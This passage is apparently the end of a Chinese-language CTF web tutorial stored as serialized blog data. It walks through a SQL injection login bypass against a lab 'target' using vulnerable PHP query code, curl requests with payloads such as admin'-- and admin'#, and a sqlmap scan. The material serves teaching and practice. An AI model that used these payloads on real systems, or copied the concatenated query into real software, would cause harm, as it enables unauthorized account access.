$_POST['pass'];\n",[106,14191,14192],{"class":108,"line":121},[106,14193,14194],{},"$sql = \"SELECT * FROM users WHERE username='\" . $user . \"' AND password='\" . $pass . \"'\";\n",[309,14196,14198],{"id":14197},"第一步正常登录失败","第一步：正常登录失败",[15,14200,14201,14203],{},[316,14202,318],{},"：先建立\"正常请求\"的基线，确认接口参数名（user/pass）和失败时的输出特征。",[97,14205,14207],{"className":259,"code":14206,"language":261,"meta":102,"style":102},"curl -X POST \"http://target/login.php\" --data \"user=admin&pass=wrong\"\n",[52,14208,14209],{"__ignoreMap":102},[106,14210,14211,14213,14215,14217,14219,14222,14224,14227,14229,14232],{"class":108,"line":109},[106,14212,5260],{"class":268},[106,14214,13980],{"class":515},[106,14216,13983],{"class":272},[106,14218,5263],{"class":1458},[106,14220,14221],{"class":272},"http://target/login.php",[106,14223,5903],{"class":1458},[106,14225,14226],{"class":515}," --data",[106,14228,5263],{"class":1458},[106,14230,14231],{"class":272},"user=admin&pass=wrong",[106,14233,5269],{"class":1458},[15,14235,1345,14236,643],{},[52,14237,14238],{},"Login failed",[309,14240,14242],{"id":14241},"第二步构造绕过","第二步：构造绕过",[15,14244,14245,14247,14248,14251],{},[316,14246,385],{},"：观察源码 ",[52,14249,14250],{},"WHERE username='...' AND password='...'","，猜测我们可以在用户名里\"提前闭合单引号并用注释吃掉后半句\"。这样密码校验被注释掉，只要用户存在即可登录。",[15,14253,14254,14256,14257,14259,14260,1311,14263,14266,14267,668,14269,9440],{},[316,14255,1681],{},"：发送 payload 后看是否从 ",[52,14258,14238],{}," 变成成功页面；若失败，尝试 ",[52,14261,14262],{},"admin'#",[52,14264,14265],{},"admin'-- "," 等不同注释符（MySQL 支持 ",[52,14268,13337],{},[52,14270,14271],{},"#",[15,14273,1203],{},[97,14275,14277],{"className":259,"code":14276,"language":261,"meta":102,"style":102},"curl -X POST \"http://target/login.php\" --data \"user=admin'--+&pass=wrong\"\n",[52,14278,14279],{"__ignoreMap":102},[106,14280,14281,14283,14285,14287,14289,14291,14293,14295,14297,14300],{"class":108,"line":109},[106,14282,5260],{"class":268},[106,14284,13980],{"class":515},[106,14286,13983],{"class":272},[106,14288,5263],{"class":1458},[106,14290,14221],{"class":272},[106,14292,5903],{"class":1458},[106,14294,14226],{"class":515},[106,14296,5263],{"class":1458},[106,14298,14299],{"class":272},"user=admin'--+&pass=wrong",[106,14301,5269],{"class":1458},[15,14303,14304],{},"实际执行的 SQL：",[97,14306,14308],{"className":5054,"code":14307,"language":5056,"meta":102,"style":102},"SELECT * FROM users WHERE username='admin'-- ' AND password='wrong'\n",[52,14309,14310],{"__ignoreMap":102},[106,14311,14312],{"class":108,"line":109},[106,14313,14307],{},[15,14315,14316,14318,14319,14322],{},[52,14317,13337],{}," 注释掉密码部分。预期输出：",[52,14320,14321],{},"Login success"," 和 flag。",[15,14324,14325,14328,14329,14332,14333,14336],{},[316,14326,14327],{},"为什么能成功","：数据库中确实存在 ",[52,14330,14331],{},"admin"," 用户，查询 ",[52,14334,14335],{},"WHERE username='admin'"," 就能命中一行；命中即视为登录成功。",[309,14338,14340],{"id":14339},"第三步sqlmap-验证","第三步：sqlmap 验证",[15,14342,14343,14345],{},[316,14344,318],{},"：用工具确认手工结论，同时自动探测其他注入点。",[97,14347,14349],{"className":259,"code":14348,"language":261,"meta":102,"style":102},"sqlmap -u \"http://target/login.php\" --data \"user=a&pass=b\" --batch\n# --data 指定 POST 请求体；sqlmap 会分别对 user、pass 两个参数测试注入。\n# --batch 表示全程自动选择默认选项，不需要人工确认。\n# 预期输出：报告 Parameter: user (POST) 存在注入。\n",[52,14350,14351,14374,14379,14384],{"__ignoreMap":102},[106,14352,14353,14355,14357,14359,14361,14363,14365,14367,14370,14372],{"class":108,"line":109},[106,14354,5893],{"class":268},[106,14356,5896],{"class":515},[106,14358,5263],{"class":1458},[106,14360,14221],{"class":272},[106,14362,5903],{"class":1458},[106,14364,14226],{"class":515},[106,14366,5263],{"class":1458},[106,14368,14369],{"class":272},"user=a&pass=b",[106,14371,5903],{"class":1458},[106,14373,5906],{"class":515},[106,14375,14376],{"class":108,"line":115},[106,14377,14378],{"class":2583},"# --data 指定 POST 请求体；sqlmap 会分别对 user、pass 两个参数测试注入。\n",[106,14380,14381],{"class":108,"line":121},[106,14382,14383],{"class":2583},"# --batch 表示全程自动选择默认选项，不需要人工确认。\n",[106,14385,14386],{"class":108,"line":128},[106,14387,14388],{"class":2583},"# 预期输出：报告 Parameter: user (POST) 存在注入。\n",[15,14390,14391,14392,14395],{},"预期输出：报告 ",[52,14393,14394],{},"Parameter: user (POST)"," 存在注入。",[10,14397,3231],{"id":3230},[15,14399,14400],{},"Web 入门只需要掌握：参数不可信；SQLi/XSS/SSRF 的复现与检测；curl、Burp、sqlmap 三个工具的核心用法。",[1050,14402,14403],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":102,"searchDepth":115,"depth":115,"links":14405},[14406,14407,14408,14409,14410,14411,14412,14413,14414,14415],{"id":12573,"depth":121,"text":12574},{"id":12681,"depth":121,"text":12682},{"id":12779,"depth":121,"text":12780},{"id":13374,"depth":121,"text":13375},{"id":13667,"depth":121,"text":13668},{"id":13891,"depth":121,"text":13892},{"id":14005,"depth":121,"text":14006},{"id":14069,"depth":121,"text":14070},{"id":14166,"depth":121,"text":14167},{"id":3230,"depth":121,"text":3231},"完整复现 SQL 注入、XSS、SSRF 三个漏洞：环境搭建、请求与响应、演示 curl、Burp Suite、sqlmap 的核心用法。",{"date":1066,"image":14418,"alt":14419,"tags":14420,"published":124},"/blogs-img/blog9.png","CTF Web 入门",[1070,6413,1072],"/blogs/ctf-web-overview",{"title":12568,"description":14416},"blogs/9. ctf-web-overview","Zw9ZNNI8nq4-16xeG1TaILfNuOv5EuKnOPkpkm05cIk",1786796567266]